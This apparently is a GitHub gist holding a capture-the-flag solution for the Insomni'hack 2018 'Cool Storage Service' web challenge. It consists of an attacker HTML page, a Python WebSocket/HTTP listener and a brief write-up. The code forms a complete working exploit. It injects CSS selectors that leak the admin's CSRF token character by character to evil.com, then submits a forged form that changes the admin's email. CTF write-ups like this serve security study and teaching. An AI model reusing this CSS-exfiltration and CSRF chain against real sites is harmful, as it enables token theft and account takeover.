Skip to content

Instantly share code, notes, and snippets.

@0xBADCA7
Forked from cgvwzq/index.html
Created January 26, 2018 07:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0xBADCA7/29ac087bd7aa532ac112e241bf33a717 to your computer and use it in GitHub Desktop.
Save 0xBADCA7/29ac087bd7aa532ac112e241bf33a717 to your computer and use it in GitHub Desktop.
insomnihack'18 - Cool Storage Service web challenge
<body>
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST">
// change admin's email
<input type="text" name="email" value="wololo@coolmail.com">
<input type="text" name="csrf" value="">
<input type="text" name="change" value="Modify profile">
</form>
<iframe id="leakchar"></iframe>
<script>
const WS = "ws://evil.com:8000";
const HTTP = "http://evil.com:8008";
var s = new WebSocket(WS);
s.onopen = function(event) {
console.log('connection open');
next('');
}
s.onmessage = function(event) {
let reader = new FileReader()
reader.onload = function(){
let token = this.result.match(/\?(\w+)/)[1];
next(token);
}
reader.readAsText(event.data);
}
s.onclose = function(event) {
console.log('bye');
}
function next(token) {
if (token.length < 32) {
console.log('leaking ' + token + '* ...');
let url = 'http://css.teaser.insomnihack.ch/?page=login&redirect="><link+rel=stylesheet+href="?page=search%26search={}' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('*[value^=' + token + e + ']{--:url(' + HTTP + '?' + token + e +')}')).join('') +
'input[name=csrf]{background:var(--)}">';
document.getElementById('leakchar').src = url;
} else {
console.log('done, lets pwn');
changeEmail(token);
}
}
function changeEmail(token) {
document.forms[0].csrf.value = token;
document.forms[0].submit();
}
</script>
CSP policy disables JS and only allows 'self' styles. Fortunately, we have several reflection points.
We have a "contact" form that allows URLs starting by "css.teaser.insomnihack.ch", so we can set our DNS to make the admin visit our malicious page "index.html" (css.teaser.insomnihack.ch.foo.mysite.com).
Leaking tokens from CSS is not new, in fact, last year ended with a very similar challenge: https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/
The main difficulty was that the token was refreshed at every request, hence, we need to leak it in once single admin's visit.
Fortunately (again), the site can be iframed, so from the parent (our malicious controlled page) we can load multiple iframes leaking each char of the token:
[ server.py ] [ index.html ]
ws server: | parent: |
* ----------|---> ws | (refresh iframe and leak next char)
^ | ________ |
| | |iframe | |
http server: <----|-|--leak | |
|____________|
(artistic dramatization of the exploit)
With this we can leak the whole token in a ~3-5 seconds and exploit the CSRF.
After that we had to solve the second part of the challenge, but that is wonderfully explained here: http://gynvael.coldwind.pl/?lang=en&id=671 (we used the intented solution with .pht)
Thanks and congrats to 0daysober for the funny (and hard) tasks! :)
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from SocketServer import ThreadingMixIn
PORT_HTTP = 8008
PORT_WS = 8000
class RequestHandler(BaseHTTPRequestHandler, WebSocket):
def do_GET(self):
"""Respond to a GET request."""
print "http GET request"
self.send_response(200)
self.end_headers()
ws.sendMessage(self.path)
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class SimpleEcho(WebSocket):
def handleMessage(self):
# echo message back to client
print(self.address, 'new msg')
#self.sendMessage(self.data)
def handleConnected(self):
print(self.address, 'connected, opening http server')
global ws
ws = self
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
server_thread = Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
def handleClose(self):
print(self.address, 'closed')
server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment